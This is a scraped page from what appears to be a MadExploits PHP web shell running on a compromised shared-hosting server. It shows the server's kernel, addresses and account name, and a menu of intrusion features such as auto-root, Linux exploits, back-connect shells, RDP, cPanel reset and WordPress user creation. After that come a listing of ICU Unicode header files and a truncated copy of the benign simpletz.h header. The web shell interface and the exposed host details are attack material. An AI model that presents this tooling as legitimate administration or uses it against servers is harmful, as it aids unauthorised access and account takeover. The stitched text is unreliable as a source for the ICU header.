Linux premium155.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
: 162.0.235.200 | : 3.141.47.163
Cant Read [ /etc/named.conf ]
7.4.33
varifktc
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
alt /
libicu /
usr /
include /
unicode /
[ HOME SHELL ]
Name
Size
Permission
Action
alphaindex.h
26.42
KB
-rw-r--r--
appendable.h
8.43
KB
-rw-r--r--
basictz.h
8.84
KB
-rw-r--r--
brkiter.h
27.64
KB
-rw-r--r--
bytestream.h
9.54
KB
-rw-r--r--
bytestrie.h
19.26
KB
-rw-r--r--
bytestriebuilder.h
7.02
KB
-rw-r--r--
calendar.h
105.06
KB
-rw-r--r--
caniter.h
7.37
KB
-rw-r--r--
casemap.h
25.26
KB
-rw-r--r--
char16ptr.h
7.16
KB
-rw-r--r--
chariter.h
24
KB
-rw-r--r--
choicfmt.h
23.85
KB
-rw-r--r--
coleitr.h
13.7
KB
-rw-r--r--
coll.h
55.59
KB
-rw-r--r--
compactdecimalformat.h
6.81
KB
-rw-r--r--
curramt.h
3.69
KB
-rw-r--r--
currpinf.h
7.24
KB
-rw-r--r--
currunit.h
3.99
KB
-rw-r--r--
datefmt.h
40.37
KB
-rw-r--r--
dbbi.h
1.11
KB
-rw-r--r--
dcfmtsym.h
20.1
KB
-rw-r--r--
decimfmt.h
87.82
KB
-rw-r--r--
docmain.h
6.96
KB
-rw-r--r--
dtfmtsym.h
37.64
KB
-rw-r--r--
dtintrv.h
3.78
KB
-rw-r--r--
dtitvfmt.h
46.56
KB
-rw-r--r--
dtitvinf.h
18.46
KB
-rw-r--r--
dtptngen.h
25.08
KB
-rw-r--r--
dtrule.h
8.62
KB
-rw-r--r--
edits.h
20.67
KB
-rw-r--r--
enumset.h
2.08
KB
-rw-r--r--
errorcode.h
4.78
KB
-rw-r--r--
fieldpos.h
8.63
KB
-rw-r--r--
filteredbrk.h
5.24
KB
-rw-r--r--
fmtable.h
24.36
KB
-rw-r--r--
format.h
12.44
KB
-rw-r--r--
formattedvalue.h
9.73
KB
-rw-r--r--
fpositer.h
2.98
KB
-rw-r--r--
gender.h
3.27
KB
-rw-r--r--
gregocal.h
31.57
KB
-rw-r--r--
icudataver.h
1.03
KB
-rw-r--r--
icuplug.h
11.88
KB
-rw-r--r--
idna.h
12.63
KB
-rw-r--r--
listformatter.h
9.42
KB
-rw-r--r--
localebuilder.h
10.54
KB
-rw-r--r--
localpointer.h
19.69
KB
-rw-r--r--
locdspnm.h
7.06
KB
-rw-r--r--
locid.h
44.94
KB
-rw-r--r--
measfmt.h
11.44
KB
-rw-r--r--
measunit.h
88.17
KB
-rw-r--r--
measure.h
4.26
KB
-rw-r--r--
messagepattern.h
33.65
KB
-rw-r--r--
msgfmt.h
44.04
KB
-rw-r--r--
normalizer2.h
33.97
KB
-rw-r--r--
normlzr.h
30.74
KB
-rw-r--r--
nounit.h
2.63
KB
-rw-r--r--
numberformatter.h
84.62
KB
-rw-r--r--
numberrangeformatter.h
29.93
KB
-rw-r--r--
numfmt.h
49.35
KB
-rw-r--r--
numsys.h
7.13
KB
-rw-r--r--
parseerr.h
3.08
KB
-rw-r--r--
parsepos.h
5.5
KB
-rw-r--r--
platform.h
27.1
KB
-rw-r--r--
plurfmt.h
25.18
KB
-rw-r--r--
plurrule.h
18.33
KB
-rw-r--r--
ptypes.h
3.49
KB
-rw-r--r--
putil.h
6.33
KB
-rw-r--r--
rbbi.h
26.42
KB
-rw-r--r--
rbnf.h
49.79
KB
-rw-r--r--
rbtz.h
15.47
KB
-rw-r--r--
regex.h
84.3
KB
-rw-r--r--
region.h
9.12
KB
-rw-r--r--
reldatefmt.h
22.37
KB
-rw-r--r--
rep.h
9.5
KB
-rw-r--r--
resbund.h
18.01
KB
-rw-r--r--
schriter.h
6.26
KB
-rw-r--r--
scientificnumberformatter.h
6.32
KB
-rw-r--r--
search.h
22.21
KB
-rw-r--r--
selfmt.h
14.24
KB
-rw-r--r--
simpleformatter.h
12.53
KB
-rw-r--r--
simpletz.h
45.3
KB
-rw-r--r--
smpdtfmt.h
70.9
KB
-rw-r--r--
sortkey.h
11.12
KB
-rw-r--r--
std_string.h
1015
B
-rw-r--r--
strenum.h
10.04
KB
-rw-r--r--
stringoptions.h
5.79
KB
-rw-r--r--
stringpiece.h
6.46
KB
-rw-r--r--
stringtriebuilder.h
15.27
KB
-rw-r--r--
stsearch.h
21.29
KB
-rw-r--r--
symtable.h
4.21
KB
-rw-r--r--
tblcoll.h
36.4
KB
-rw-r--r--
timezone.h
41.2
KB
-rw-r--r--
tmunit.h
3.29
KB
-rw-r--r--
tmutamt.h
4.8
KB
-rw-r--r--
tmutfmt.h
7.79
KB
-rw-r--r--
translit.h
65.76
KB
-rw-r--r--
tzfmt.h
42.82
KB
-rw-r--r--
tznames.h
16.79
KB
-rw-r--r--
tzrule.h
35.32
KB
-rw-r--r--
tztrans.h
6.07
KB
-rw-r--r--
ubidi.h
89.56
KB
-rw-r--r--
ubiditransform.h
12.65
KB
-rw-r--r--
ubrk.h
23.97
KB
-rw-r--r--
ucal.h
55.54
KB
-rw-r--r--
ucasemap.h
15.18
KB
-rw-r--r--
ucat.h
5.36
KB
-rw-r--r--
uchar.h
140.66
KB
-rw-r--r--
ucharstrie.h
21.06
KB
-rw-r--r--
ucharstriebuilder.h
7.14
KB
-rw-r--r--
uchriter.h
13.14
KB
-rw-r--r--
uclean.h
11.21
KB
-rw-r--r--
ucnv.h
83.09
KB
-rw-r--r--
ucnv_cb.h
6.59
KB
-rw-r--r--
ucnv_err.h
20.99
KB
-rw-r--r--
ucnvsel.h
6.14
KB
-rw-r--r--
ucol.h
61.39
KB
-rw-r--r--
ucoleitr.h
9.46
KB
-rw-r--r--
uconfig.h
12.05
KB
-rw-r--r--
ucpmap.h
5.58
KB
-rw-r--r--
ucptrie.h
22.29
KB
-rw-r--r--
ucsdet.h
14.67
KB
-rw-r--r--
ucurr.h
16.15
KB
-rw-r--r--
udat.h
60.81
KB
-rw-r--r--
udata.h
15.53
KB
-rw-r--r--
udateintervalformat.h
10.03
KB
-rw-r--r--
udatpg.h
25.94
KB
-rw-r--r--
udisplaycontext.h
5.89
KB
-rw-r--r--
uenum.h
7.78
KB
-rw-r--r--
ufieldpositer.h
4.36
KB
-rw-r--r--
uformattable.h
10.94
KB
-rw-r--r--
uformattedvalue.h
12.14
KB
-rw-r--r--
ugender.h
2
KB
-rw-r--r--
uidna.h
33.37
KB
-rw-r--r--
uiter.h
22.77
KB
-rw-r--r--
uldnames.h
10.45
KB
-rw-r--r--
ulistformatter.h
8.83
KB
-rw-r--r--
uloc.h
50.75
KB
-rw-r--r--
ulocdata.h
11.26
KB
-rw-r--r--
umachine.h
13.19
KB
-rw-r--r--
umisc.h
1.33
KB
-rw-r--r--
umsg.h
24.23
KB
-rw-r--r--
umutablecptrie.h
8.28
KB
-rw-r--r--
unifilt.h
3.63
KB
-rw-r--r--
unifunct.h
3.98
KB
-rw-r--r--
unimatch.h
6.04
KB
-rw-r--r--
unirepl.h
3.32
KB
-rw-r--r--
uniset.h
64.88
KB
-rw-r--r--
unistr.h
170.39
KB
-rw-r--r--
unorm.h
20.45
KB
-rw-r--r--
unorm2.h
24.66
KB
-rw-r--r--
unum.h
53.55
KB
-rw-r--r--
unumberformatter.h
25.19
KB
-rw-r--r--
unumsys.h
7.21
KB
-rw-r--r--
uobject.h
10.85
KB
-rw-r--r--
upluralrules.h
7.88
KB
-rw-r--r--
uregex.h
72.05
KB
-rw-r--r--
uregion.h
9.84
KB
-rw-r--r--
ureldatefmt.h
17.26
KB
-rw-r--r--
urename.h
131.4
KB
-rw-r--r--
urep.h
5.38
KB
-rw-r--r--
ures.h
36.54
KB
-rw-r--r--
uscript.h
26.87
KB
-rw-r--r--
usearch.h
38.12
KB
-rw-r--r--
uset.h
40
KB
-rw-r--r--
usetiter.h
9.49
KB
-rw-r--r--
ushape.h
18
KB
-rw-r--r--
uspoof.h
66.03
KB
-rw-r--r--
usprep.h
8.14
KB
-rw-r--r--
ustdio.h
38.54
KB
-rw-r--r--
ustream.h
1.8
KB
-rw-r--r--
ustring.h
72.47
KB
-rw-r--r--
ustringtrie.h
3.15
KB
-rw-r--r--
utext.h
58.11
KB
-rw-r--r--
utf.h
7.86
KB
-rw-r--r--
utf16.h
22.33
KB
-rw-r--r--
utf32.h
763
B
-rw-r--r--
utf8.h
29.96
KB
-rw-r--r--
utf_old.h
43.78
KB
-rw-r--r--
utmscale.h
13.78
KB
-rw-r--r--
utrace.h
13.89
KB
-rw-r--r--
utrans.h
25.54
KB
-rw-r--r--
utypes.h
30.38
KB
-rw-r--r--
uvernum.h
6.67
KB
-rw-r--r--
uversion.h
6.7
KB
-rw-r--r--
vtzone.h
20.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : simpletz.h
// © 2016 and later: Unicode, Inc. and others. // License & terms of use: http://www.unicode.org/copyright.html /* ******************************************************************************** * Copyright (C) 1997-2013, International Business Machines * * Corporation and others. All Rights Reserved. * ******************************************************************************** * * File SIMPLETZ.H * * Modification History: * * Date Name Description * 04/21/97 aliu Overhauled header. * 08/10/98 stephen JDK 1.2 sync * Added setStartRule() / setEndRule() overloads * Added hasSameRules() * 09/02/98 stephen Added getOffset(monthLen) * Changed getOffset() to take UErrorCode * 07/09/99 stephen Removed millisPerHour (unused, for HP compiler) * 12/02/99 aliu Added TimeMode and constructor and setStart/EndRule * methods that take TimeMode. Added to docs. ******************************************************************************** */ #ifndef SIMPLETZ_H #define SIMPLETZ_H #include "unicode/utypes.h" /** * \file * \brief C++ API: SimpleTimeZone is a concrete subclass of TimeZone. */ #if !UCONFIG_NO_FORMATTING #include "unicode/basictz.h" U_NAMESPACE_BEGIN // forward declaration class InitialTimeZoneRule; class TimeZoneTransition; class AnnualTimeZoneRule; /** * <code>SimpleTimeZone</code> is a concrete subclass of <code>TimeZone</code> * that represents a time zone for use with a Gregorian calendar. This * class does not handle historical changes. * <P> * When specifying daylight-savings-time begin and end dates, use a negative value for * <code>dayOfWeekInMonth</code> to indicate that <code>SimpleTimeZone</code> should * count from the end of the month backwards. For example, if Daylight Savings * Time starts or ends at the last Sunday a month, use <code>dayOfWeekInMonth = -1</code> * along with <code>dayOfWeek = UCAL_SUNDAY</code> to specify the rule. * * @see Calendar * @see GregorianCalendar * @see TimeZone * @author D. Goldsmith, Mark Davis, Chen-Lieh Huang, Alan Liu */ class U_I18N_API SimpleTimeZone: public BasicTimeZone { public: /** * TimeMode is used, together with a millisecond offset after * midnight, to specify a rule transition time. Most rules * transition at a local wall time, that is, according to the * current time in effect, either standard, or DST. However, some * rules transition at local standard time, and some at a specific * UTC time. Although it might seem that all times could be * converted to wall time, thus eliminating the need for this * parameter, this is not the case. * @stable ICU 2.0 */ enum TimeMode { WALL_TIME = 0, STANDARD_TIME, UTC_TIME }; /** * Copy constructor * @param source the object to be copied. * @stable ICU 2.0 */ SimpleTimeZone(const SimpleTimeZone& source); /** * Default assignment operator * @param right the object to be copied. * @stable ICU 2.0 */ SimpleTimeZone& operator=(const SimpleTimeZone& right); /** * Destructor * @stable ICU 2.0 */ virtual ~SimpleTimeZone(); /** * Returns true if the two TimeZone objects are equal; that is, they have * the same ID, raw GMT offset, and DST rules. * * @param that The SimpleTimeZone object to be compared with. * @return True if the given time zone is equal to this time zone; false * otherwise. * @stable ICU 2.0 */ virtual UBool operator==(const TimeZone& that) const; /** * Constructs a SimpleTimeZone with the given raw GMT offset and time zone ID, * and which doesn't observe daylight savings time. Normally you should use * TimeZone::createInstance() to create a TimeZone instead of creating a * SimpleTimeZone directly with this constructor. * * @param rawOffsetGMT The given base time zone offset to GMT. * @param ID The timezone ID which is obtained from * TimeZone.getAvailableIDs. * @stable ICU 2.0 */ SimpleTimeZone(int32_t rawOffsetGMT, const UnicodeString& ID); /** * Construct a SimpleTimeZone with the given raw GMT offset, time zone ID, * and times to start and end daylight savings time. To create a TimeZone that * doesn't observe daylight savings time, don't use this constructor; use * SimpleTimeZone(rawOffset, ID) instead. Normally, you should use * TimeZone.createInstance() to create a TimeZone instead of creating a * SimpleTimeZone directly with this constructor. * <P> * Various types of daylight-savings time rules can be specfied by using different * values for startDay and startDayOfWeek and endDay and endDayOfWeek. For a * complete explanation of how these parameters work, see the documentation for * setStartRule(). * * @param rawOffsetGMT The new SimpleTimeZone's raw GMT offset * @param ID The new SimpleTimeZone's time zone ID. * @param savingsStartMonth The daylight savings starting month. Month is * 0-based. eg, 0 for January. * @param savingsStartDayOfWeekInMonth The daylight savings starting * day-of-week-in-month. See setStartRule() for a * complete explanation. * @param savingsStartDayOfWeek The daylight savings starting day-of-week. * See setStartRule() for a complete explanation. * @param savingsStartTime The daylight savings starting time, expressed as the * number of milliseconds after midnight. * @param savingsEndMonth The daylight savings ending month. Month is * 0-based. eg, 0 for January. * @param savingsEndDayOfWeekInMonth The daylight savings ending day-of-week-in-month. * See setStartRule() for a complete explanation. * @param savingsEndDayOfWeek The daylight savings ending day-of-week. * See setStartRule() for a complete explanation. * @param savingsEndTime The daylight savings ending time, expressed as the * number of milliseconds after midnight. * @param status An UErrorCode to receive the status. * @stable ICU 2.0 */ SimpleTimeZone(int32_t rawOffsetGMT, const UnicodeString& ID, int8_t savingsStartMonth, int8_t savingsStartDayOfWeekInMonth, int8_t savingsStartDayOfWeek, int32_t savingsStartTime, int8_t savingsEndMonth, int8_t savingsEndDayOfWeekInMonth, int8_t savingsEndDayOfWeek, int32_t savingsEndTime, UErrorCode& status); /** * Construct a SimpleTimeZone with the given raw GMT offset, time zone ID, * and times to start and end daylight savings time. To create a TimeZone that * doesn't observe daylight savings time, don't use this constructor; use * SimpleTimeZone(rawOffset, ID) instead. Normally, you should use * TimeZone.createInstance() to create a TimeZone instead of creating a * SimpleTimeZone directly with this constructor. * <P> * Various types of daylight-savings time rules can be specfied by using different * values for startDay and startDayOfWeek and endDay and endDayOfWeek. For a * complete explanation of how these parameters work, see the documentation for * setStartRule(). * * @param rawOffsetGMT The new SimpleTimeZone's raw GMT offset * @param ID The new SimpleTimeZone's time zone ID. * @param savingsStartMonth The daylight savings starting month. Month is * 0-based. eg, 0 for January. * @param savingsStartDayOfWeekInMonth The daylight savings starting * day-of-week-in-month. See setStartRule() for a * complete explanation. * @param savingsStartDayOfWeek The daylight savings starting day-of-week. * See setStartRule() for a complete explanation. * @param savingsStartTime The daylight savings starting time, expressed as the * number of milliseconds after midnight. * @param savingsEndMonth The daylight savings ending month. Month is * 0-based. eg, 0 for January. * @param savingsEndDayOfWeekInMonth The daylight savings ending day-of-week-in-month. * See setStartRule() for a complete explanation. * @param savingsEndDayOfWeek The daylight savings ending day-of-week. * See setStartRule() for a complete explanation. * @param savingsEndTime The daylight savings ending time, expressed as the * number of milliseconds after midnight. * @param savingsDST The number of milliseconds added to standard time * to get DST time. Default is one hour. * @param status An UErrorCode to receive the status. * @stable ICU 2.0 */ SimpleTimeZone(int32_t rawOffsetGMT, const UnicodeString& ID, int8_t savingsStartMonth, int8_t savingsStartDayOfWeekInMonth, int8_t savingsStartDayOfWeek, int32_t savingsStartTime, int8_t savingsEndMonth, int8_t savingsEndDayOfWeekInMonth, int8_t savingsEndDayOfWeek, int32_t savingsEndTime, int32_t savingsDST, UErrorCode& status); /** * Construct a SimpleTimeZone with the given raw GMT offset, time zone ID, * and times to start and end daylight savings time. To create a TimeZone that * doesn't observe daylight savings time, don't use this constructor; use * SimpleTimeZone(rawOffset, ID) instead. Normally, you should use * TimeZone.createInstance() to create a TimeZone instead of creating a * SimpleTimeZone directly with this constructor. * <P> * Various types of daylight-savings time rules can be specfied by using different * values for startDay and startDayOfWeek and endDay and endDayOfWeek. For a * complete explanation of how these parameters work, see the documentation for * setStartRule(). * * @param rawOffsetGMT The new SimpleTimeZone's raw GMT offset * @param ID The new SimpleTimeZone's time zone ID. * @param savingsStartMonth The daylight savings starting month. Month is * 0-based. eg, 0 for January. * @param savingsStartDayOfWeekInMonth The daylight savings starting * day-of-week-in-month. See setStartRule() for a * complete explanation. * @param savingsStartDayOfWeek The daylight savings starting day-of-week. * See setStartRule() for a complete explanation. * @param savingsStartTime The daylight savings starting time, expressed as the * number of milliseconds after midnight. * @param savingsStartTimeMode Whether the start time is local wall time, local * standard time, or UTC time. Default is local wall time. * @param savingsEndMonth The daylight savings ending month. Month is * 0-based. eg, 0 for January. * @param savingsEndDayOfWeekInMonth The daylight savings ending day-of-week-in-month. * See setStartRule() for a complete explanation. * @param savingsEndDayOfWeek The daylight savings ending day-of-week. * See setStartRule() for a complete explanation. * @param savingsEndTime The daylight savings ending time, expressed as the * number of milliseconds after midnight. * @param savingsEndTimeMode Whether the end time is local wall time, local * standard time, or UTC time. Default is local wall time. * @param savingsDST The number of milliseconds added to standard time * to get DST time. Default is one hour. * @param status An UErrorCode to receive the status. * @stable ICU 2.0 */ SimpleTimeZone(int32_t rawOffsetGMT, const UnicodeString& ID, int8_t savingsStartMonth, int8_t savingsStartDayOfWeekInMonth, int8_t savingsStartDayOfWeek, int32_t savingsStartTime, TimeMode savingsStartTimeMode, int8_t savingsEndMonth, int8_t savingsEndDayOfWeekInMonth, int8_t savingsEndDayOfWeek, int32_t savingsEndTime, TimeMode savingsEndTimeMode, int32_t savingsDST, UErrorCode& status); /** * Sets the daylight savings starting year, that is, the year this time zone began * observing its specified daylight savings time rules. The time zone is considered * not to observe daylight savings time prior to that year; SimpleTimeZone doesn't * support historical daylight-savings-time rules. * @param year the daylight savings starting year. * @stable ICU 2.0 */ void setStartYear(int32_t year); /** * Sets the daylight savings starting rule. For example, in the U.S., Daylight Savings * Time starts at the second Sunday in March, at 2 AM in standard time. * Therefore, you can set the start rule by calling: * setStartRule(UCAL_MARCH, 2, UCAL_SUNDAY, 2*60*60*1000); * The dayOfWeekInMonth and dayOfWeek parameters together specify how to calculate * the exact starting date. Their exact meaning depend on their respective signs, * allowing various types of rules to be constructed, as follows: * <ul> * <li>If both dayOfWeekInMonth and dayOfWeek are positive, they specify the * day of week in the month (e.g., (2, WEDNESDAY) is the second Wednesday * of the month).</li> * <li>If dayOfWeek is positive and dayOfWeekInMonth is negative, they specify * the day of week in the month counting backward from the end of the month. * (e.g., (-1, MONDAY) is the last Monday in the month)</li> * <li>If dayOfWeek is zero and dayOfWeekInMonth is positive, dayOfWeekInMonth * specifies the day of the month, regardless of what day of the week it is. * (e.g., (10, 0) is the tenth day of the month)</li> * <li>If dayOfWeek is zero and dayOfWeekInMonth is negative, dayOfWeekInMonth * specifies the day of the month counting backward from the end of the * month, regardless of what day of the week it is (e.g., (-2, 0) is the * next-to-last day of the month).</li> * <li>If dayOfWeek is negative and dayOfWeekInMonth is positive, they specify the * first specified day of the week on or after the specfied day of the month. * (e.g., (15, -SUNDAY) is the first Sunday after the 15th of the month * [or the 15th itself if the 15th is a Sunday].)</li> * <li>If dayOfWeek and DayOfWeekInMonth are both negative, they specify the * last specified day of the week on or before the specified day of the month. * (e.g., (-20, -TUESDAY) is the last Tuesday before the 20th of the month * [or the 20th itself if the 20th is a Tuesday].)</li> * </ul> * @param month the daylight savings starting month. Month is 0-based. * eg, 0 for January. * @param dayOfWeekInMonth the daylight savings starting * day-of-week-in-month. Please see the member description for an example. * @param dayOfWeek the daylight savings starting day-of-week. Please see * the member description for an example. * @param time the daylight savings starting time. Please see the member * description for an example. * @param status An UErrorCode * @stable ICU 2.0 */ void setStartRule(int32_t month, int32_t dayOfWeekInMonth, int32_t dayOfWeek, int32_t time, UErrorCode& status); /** * Sets the daylight savings starting rule. For example, in the U.S., Daylight Savings * Time starts at the second Sunday in March, at 2 AM in standard time. * Therefore, you can set the start rule by calling: * setStartRule(UCAL_MARCH, 2, UCAL_SUNDAY, 2*60*60*1000); * The dayOfWeekInMonth and dayOfWeek parameters together specify how to calculate * the exact starting date. Their exact meaning depend on their respective signs, * allowing various types of rules to be constructed, as follows: * <ul> * <li>If both dayOfWeekInMonth and dayOfWeek are positive, they specify the * day of week in the month (e.g., (2, WEDNESDAY) is the second Wednesday * of the month).</li> * <li>If dayOfWeek is positive and dayOfWeekInMonth is negative, they specify * the day of week in the month counting backward from the end of the month. * (e.g., (-1, MONDAY) is the last Monday in the month)</li> * <li>If dayOfWeek is zero and dayOfWeekInMonth is positive, dayOfWeekInMonth * specifies the day of the month, regardless of what day of the week it is. * (e.g., (10, 0) is the tenth day of the month)</li> * <li>If dayOfWeek is zero and dayOfWeekInMonth is negative, dayOfWeekInMonth * specifies the day of the month counting backward from the end of the * month, regardless of what day of the week it is (e.g., (-2, 0) is the * next-to-last day of the month).</li> * <li>If dayOfWeek is negative and dayOfWeekInMonth is positive, they specify the * first specified day of the week on or after the specfied day of the month. * (e.g., (15, -SUNDAY) is the first Sunday after the 15th of the month * [or the 15th itself if the 15th is a Sunday].)</li> * <li>If dayOfWeek and DayOfWeekInMonth are both negative, they specify the * last specified day of the week on or before the specified day of the month. * (e.g., (-20, -TUESDAY) is the last Tuesday before the 20th of the month * [or the 20th itself if the 20th is a Tuesday].)</li> * </ul> * @param month the daylight savings starting month. Month is 0-based. * eg, 0 for January. * @param dayOfWeekInMonth the daylight savings starting * day-of-week-in-month. Please see the member description for an example. * @param dayOfWeek the daylight savings starting day-of-week. Please see * the member description for an example. * @param time the daylight savings starting time. Please see the member * description for an example. * @param mode whether the time is local wall time, local standard time, * or UTC time. Default is local wall time. * @param status An UErrorCode * @stable ICU 2.0 */ void setStartRule(int32_t month, int32_t dayOfWeekInMonth, int32_t dayOfWeek, int32_t time, TimeMode mode, UErrorCode& status); /** * Sets the DST start rule to a fixed date within a month. * * @param month The month in which this rule occurs (0-based). * @param dayOfMonth The date in that month (1-based). * @param time The time of that day (number of millis after midnight) * when DST takes effect in local wall time, which is * standard time in this case. * @param status An UErrorCode * @stable ICU 2.0 */ void setStartRule(int32_t month, int32_t dayOfMonth, int32_t time, UErrorCode& status); /** * Sets the DST start rule to a fixed date within a month. * * @param month The month in which this rule occurs (0-based). * @param dayOfMonth The date in that month (1-based). * @param time The time of that day (number of millis after midnight) * when DST takes effect in local wall time, which is * standard time in this case. * @param mode whether the time is local wall time, local standard time, * or UTC time. Default is local wall time. * @param status An UErrorCode * @stable ICU 2.0 */ void setStartRule(int32_t month, int32_t dayOfMonth, int32_t time, TimeMode mode, UErrorCode& status); /** * Sets the DST start rule to a weekday before or after a give date within * a month, e.g., the first Monday on or after the 8th. * * @param month The month in which this rule occurs (0-based). * @param dayOfMonth A date within that month (1-based). * @param dayOfWeek The day of the week on which this rule occurs. * @param time The time of that day (number of millis after midnight) * when DST takes effect in local wall time, which is * standard time in this case. * @param after If true, this rule selects the first dayOfWeek on * or after dayOfMonth. If false, this rule selects * the last dayOfWeek on or before dayOfMonth. * @param status An UErrorCode * @stable ICU 2.0 */ void setStartRule(int32_t month, int32_t dayOfMonth, int32_t dayOfWeek, int32_t time, UBool after, UErrorCode& status); /** * Sets the DST start rule to a weekday before or after a give date within * a month, e.g., the first Monday on or after the 8th. * * @param month The month in which this rule occurs (0-based). * @param dayOfMonth A date within that month (1-based). * @param dayOfWeek The day of the week on which this rule occurs. * @param time The time of that day (number of millis after midnight) * when DST takes effect in local wall time, which is * standard time in this case. * @param mode whether the time is local wall time, local standard time, * or UTC time. Default is local wall time. * @param after If true, this rule selects the first dayOfWeek on * or after dayOfMonth. If false, this rule selects * the last dayOfWeek on or before dayOfMonth. * @param status An UErrorCode * @stable ICU 2.0 */ void setStartRule(int32_t month, int32_t dayOfMonth, int32_t dayOfWeek, int32_t time, TimeMode mode, UBool after, UErrorCode& status); /** * Sets the daylight savings ending rule. For example, if Daylight * Savings Time ends at the last (-1) Sunday in October, at 2 AM in standard time. * Therefore, you can set the end rule by calling: * <pre> * setEndRule(UCAL_OCTOBER, -1, UCAL_SUNDAY, 2*60*60*1000); * </pre> * Various other types of rules can be specified by manipulating the dayOfWeek * and dayOfWeekInMonth parameters. For complete details, see the documentation * for setStartRule(). * * @param month the daylight savings ending month. Month is 0-based. * eg, 0 for January. * @param dayOfWeekInMonth the daylight savings ending * day-of-week-in-month. See setStartRule() for a complete explanation. * @param dayOfWeek the daylight savings ending day-of-week. See setStartRule() * for a complete explanation. * @param time the daylight savings ending time. Please see the member * description for an example. * @param status An UErrorCode * @stable ICU 2.0 */ void setEndRule(int32_t month, int32_t dayOfWeekInMonth, int32_t dayOfWeek, int32_t time, UErrorCode& status); /** * Sets the daylight savings ending rule. For example, if Daylight * Savings Time ends at the last (-1) Sunday in October, at 2 AM in standard time. * Therefore, you can set the end rule by calling: * <pre> * setEndRule(UCAL_OCTOBER, -1, UCAL_SUNDAY, 2*60*60*1000); * </pre> * Various other types of rules can be specified by manipulating the dayOfWeek * and dayOfWeekInMonth parameters. For complete details, see the documentation * for setStartRule(). * * @param month the daylight savings ending month. Month is 0-based. * eg, 0 for January. * @param dayOfWeekInMonth the daylight savings ending * day-of-week-in-month. See setStartRule() for a complete explanation. * @param dayOfWeek the daylight savings ending day-of-week. See setStartRule() * for a complete explanation. * @param time the daylight savings ending time. Please see the member * description for an example. * @param mode whether the time is local wall time, local standard time, * or UTC time. Default is local wall time. * @param status An UErrorCode * @stable ICU 2.0 */ void setEndRule(int32_t month, int32_t dayOfWeekInMonth, int32_t dayOfWeek, int32_t time, TimeMode mode, UErrorCode& status); /** * Sets the DST end rule to a fixed date within a month. * * @param month The month in which this rule occurs (0-based). * @param dayOfMonth The date in that month (1-based). * @param time The time of that day (number of millis after midnight) * when DST ends in local wall time, which is daylight * time in this case. * @param status An UErrorCode * @stable ICU 2.0 */ void setEndRule(int32_t month, int32_t dayOfMonth, int32_t time, UErrorCode& status); /** * Sets the DST end rule to a fixed date within a month. * * @param month The month in which this rule occurs (0-based). * @param dayOfMonth The date in that month (1-based). * @param time The time of that day (number of millis after midnight) * when DST ends in local wall time, which is daylight * time in this case. * @param mode whether the time is local wall time, local standard time, * or UTC time. Default is local wall time. * @param status An UErrorCode * @stable ICU 2.0 */ void setEndRule(int32_t month, int32_t dayOfMonth, int32_t time, TimeMode mode, UErrorCode& status); /** * Sets the DST end rule to a weekday before or after a give date within * a month, e.g., the first Monday on or after the 8th. * * @param month The month in which this rule occurs (0-based). * @param dayOfMonth A date within that month (1-based). * @param dayOfWeek The day of the week on which this rule occurs. * @param time The time of that day (number of millis after midnight) * when DST ends in local wall time, which is daylight * time in this case. * @param after If true, this rule selects the first dayOfWeek on * or after dayOfMonth. If false, this rule selects * the last dayOfWeek on or before dayOfMonth. * @param status An UErrorCode * @stable ICU 2.0 */ void setEndRule(int32_t month, int32_t dayOfMonth, int32_t dayOfWeek, int32_t time, UBool after, UErrorCode& status); /** * Sets the DST end rule to a weekday before or after a give date within * a month, e.g., the first Monday on or after the 8th. * * @param month The month in which this rule occurs (0-based). * @param dayOfMonth A date within that month (1-based). * @param dayOfWeek The day of the week on which this rule occurs. * @param time The time of that day (number of millis after midnight) * when DST ends in local wall time, which is daylight * time in this case. * @param mode whether the time is local wall time, local standard time, * or UTC time. Default is local wall time. * @param after If true, this rule selects the first dayOfWeek on * or after dayOfMonth. If false, this rule selects * the last dayOfWeek on or before dayOfMonth. * @param status An UErrorCode * @stable ICU 2.0 */ void setEndRule(int32_t month, int32_t dayOfMonth, int32_t dayOfWeek, int32_t time, TimeMode mode, UBool after, UErrorCode& status); /** * Returns the TimeZone's adjusted GMT offset (i.e., the number of milliseconds to add * to GMT to get local time in this time zone, taking daylight savings time into * account) as of a particular reference date. The reference date is used to determine * whether daylight savings time is in effect and needs to be figured into the offset * that is returned (in other words, what is the adjusted GMT offset in this time zone * at this particular date and time?). For the time zones produced by createTimeZone(), * the reference data is specified according to the Gregorian calendar, and the date * and time fields are in GMT, NOT local time. * * @param era The reference date's era * @param year The reference date's year * @param month The reference date's month (0-based; 0 is January) * @param day The reference date's day-in-month (1-based) * @param dayOfWeek The reference date's day-of-week (1-based; 1 is Sunday) * @param millis The reference date's milliseconds in day, UTT (NOT local time). * @param status An UErrorCode to receive the status. * @return The offset in milliseconds to add to GMT to get local time. * @stable ICU 2.0 */ virtual int32_t getOffset(uint8_t era, int32_t year, int32_t month, int32_t day, uint8_t dayOfWeek, int32_t millis, UErrorCode& status) const; /** * Gets the time zone offset, for current date, modified in case of * daylight savings. This is the offset to add *to* UTC to get local time. * @param era the era of the given date. * @param year the year in the given date. * @param month the month in the given date. * Month is 0-based. e.g., 0 for January. * @param day the day-in-month of the given date. * @param dayOfWeek the day-of-week of the given date. * @param milliseconds the millis in day in <em>standard</em> local time. * @param monthLength the length of the given month in days. * @param status An UErrorCode to receive the status. * @return the offset to add *to* GMT to get local time. * @stable ICU 2.0 */ virtual int32_t getOffset(uint8_t era, int32_t year, int32_t month, int32_t day, uint8_t dayOfWeek, int32_t milliseconds, int32_t monthLength, UErrorCode& status) const; /** * Gets the time zone offset, for current date, modified in case of * daylight savings. This is the offset to add *to* UTC to get local time. * @param era the era of the given date. * @param year the year in the given date. * @param month the month in the given date. * Month is 0-based. e.g., 0 for January. * @param day the day-in-month of the given date. * @param dayOfWeek the day-of-week of the given date. * @param milliseconds the millis in day in <em>standard</em> local time. * @param monthLength the length of the given month in days. * @param prevMonthLength length of the previous month in days. * @param status An UErrorCode to receive the status. * @return the offset to add *to* GMT to get local time. * @stable ICU 2.0 */ virtual int32_t getOffset(uint8_t era, int32_t year, int32_t month, int32_t 